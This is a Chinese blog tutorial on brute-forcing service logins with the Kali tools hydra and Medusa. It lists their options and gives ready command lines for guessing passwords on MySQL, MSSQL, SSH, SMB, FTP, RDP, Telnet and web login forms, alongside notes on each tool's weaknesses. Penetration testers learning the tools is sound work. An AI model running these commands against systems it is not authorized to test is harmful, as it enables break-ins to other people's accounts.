渗透利器-kali工具 (第六章-2) 利用hydra暴力破解密码

发布于:2024-12-20 ⋅ 阅读:(15) ⋅ 点赞:(0)

1,hydra简介:

  hydra的中文意思是就透彻,它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、Ftp等服务。

  支持Linux、Windows、Mac平台安装,其中Kali Linux中自带hydra。

  Hydra支持的服务有:POP3、SMB、RDP,SSH,FTP,POP3,Telnet,MYSQL……

  最大的安全漏洞之一是弱口令。

2,hydra安装配置:

  Kali Linux中hydra自带。

    Kali是安全从业人员常用的Linux系统,自带有大量安全工具,hydra自然也继承在里面。

    工具位置:密码攻击--在线攻击一栏

    开源项目:https://github.com/vanhauser-thc/thc-hydra

  Windows中hydra安装:

    hydra官方不支持Windows,需要在Github上下载,地址:https://github.com/maaaaz/thc-hydra-windows 下载解压即可。

3,hydra破解:

  1.hydra相关参数:

    -l    LOGIN    指定破解的用户名成,对特定用户破解

    -L   FILE     从文件中加载用户名进行破解。

    -p   PASS   小写p执行密码破解,少用,一般是采用密码字典。

    -P   FILE     大写字母P,指定密码字典。

    -e          ns 可选选项,n:空密码试探,s:使用指定用户和密码[相同]试探。

    -C   FILE    使用冒号分隔格式,例如"登录:密码"来代替-L/-P参数。

    -t   TASKS  同时运行的链接的线程数,每一台主机默认为16

    -M   FILE   指定服务器目标列表文件一行一条。

    -w   TIME     设置最大超时的时间,单位秒,默认是30s。

    -O   FILE   指定结果输出文件。

    -f          在使用-M参数以后,找到第一对登录名或者密码的时候终止破解。

    -v/-V       显示详细过程。

    -R        继续从上一次进度接着破解。

    -S        采用SSL链接。

    -s   PORT   可通过这个参数指定非默认端口。

    -U        服务模块使用细节

    -h              更多的命令行选项[完成的帮助]

    server       目标服务器名称或者IP[使用这个或-M选项]

    service     指定服务名,支持的服务核协议telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

    OPT 一些服务模块支持额外的输入[-U用于模块的帮助]

    例如:[用法]:   

      hydra -l user -P passlist.txt ftp://192.168.0.1
      hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
      hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
      hydra -l admin -p password ftp://[192.168.0.0/24]/
      hydra -L logins.txt -P pws.txt -M targets.txt ssh

  2.hydra用法案例:

    图形化界面:xhydra[推荐还是命令直接搞]

    案例1:

      破解Mysql密码

      数据库一般会提供一个默认的账户,sql server的sa与用户,Mysql的root用户,Oracle的System用户等。

      假如我们现在破解Mysql数据库:

        hydra -L user.txt -P pass.txt ip mysql

        hydra -L user.txt -P pass.txt mysql://目标ip:mysql端口号

      如果需要将爆破的过程打印出来就加个指令-v

        hydra -L username.txt -P password.txt -v 

        mysql://目标ip:mysql端口号

      成功后会打印类似如下的信息:

        [3306][mysql] host:ip  login:sa  password:sqladmin

    案例2:

      破解SSH:

        hydra -l 用户名 -P 密码字典 -t 线程 -v/V -e ns -f ip ssh

        hydra -l root -P /root/桌面/1.txt -t 6 -V -e ns -f 192.168.62.129 ssh

        hydra -l 用户名 -P 密码字典 -t 线程 -o save.log -vV -f ip ssh

      命令详细:

        攻击目标:192.168.62.128

        使用的模块:ssh

        爆破用户名:root (-1)

        使用的密码字典:/root/passwd.txt (-P)

        爆破线程数:6 (-t)

        显示详细信息 (-V)

        爆破成功一个后提示(-f)

    其他案例:

      1.Windows密码破解:

        hydra -l 用户名 -p 密码 smb://ip -vV<br>或者<br>hydra -l 用户名 -p 密码 smb ip –vV

      2.破解Ftp:

        hydra ip ftp -l 用户名 -P 密码字典 -t 线程数(默认16) –vV

        如果你发现目标ftp并不是在21端口,而是在其他端口上,可以使用-s参数指定正确的端口,其他服务同样如此

      3.破解rdp:

        hydra ip rdp -l administrator -P pass.txt –V

      4.破解telnet:

        hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f –V

      5.破解HTTPS:

        hydra -m /index.php -l muts -P pass.txt ip https

      6.Get方式提交,破解Web登录[不推荐,太过鸡肋]:

        hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /web/

      7.Post方式提交,破解Web登录[不鬼剑,太过鸡肋]:

        hydra -l 用户名 -P 密码字典  ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" -V 

  

  3.hydra的缺点:

    1.稳定性差,程序时常崩溃。

    2.速度控制不好,容易触发服务器屏蔽或锁死机制。

    3.每主机新建进程,没服务新建实例。

    4.大量目标破解时性能差。

4,美杜莎-Medusa:

  1.Medusa的特点:

    1.稳定性好。

    2.速度控制得当。

    3.基于线程。

    4.支持模块少于hydra[不支持rdp远程桌面]

    5.Web-Form支持存在缺陷

  2.Medusa参数:    

    -h   [TEXT]          目标IP
    -H   [FILE]           目标主机文件
    -u   [TEXT]          用户名
    -U   [FILE]           用户名文件
    -p   [TEXT]          密码
    -P   [FILE]           密码文件
    -C   [FILE]           组合条目文件
    -O   [FILE]           文件日志信息[保存扫描结果]
    -e           [n/s/nsN意为空密码,S意为密码与用户名相同
    -M   [TEXT]           模块执行名称
    -m   [TEXT]           传递参数到模块
    -d                     显示所有的模块名称
    -n   [NUM]             使用非默认端口
    -s                     启用SSL
    -r   [NUM]           重试间隔时间,默认为3秒
    -t   [NUM]           设定线程数量
    -L                     并行化,每个用户使用一个线程
    -f                      在任何主机上找到第一个账号/密码后,停止破解
    -q                       显示模块的使用信息
    -v   [NUM]          详细级别(0-6)
    -w  [NUM]             错误调试级别(0-10)
    -V                    显示版本
    -Z   [TEXT]            继续扫描上一次

  3.Medusa使用:

    1.使用语法:

      medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

    2.破解MSSQL:

      medusa -h ip -u root -P /pass.txt -t 5 -f -M mssql

    3.破解ssh:

      medusa -M ssh -H host.txt -U user.txt -p password

    4.输出日志文件:

      medusa -h ip -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt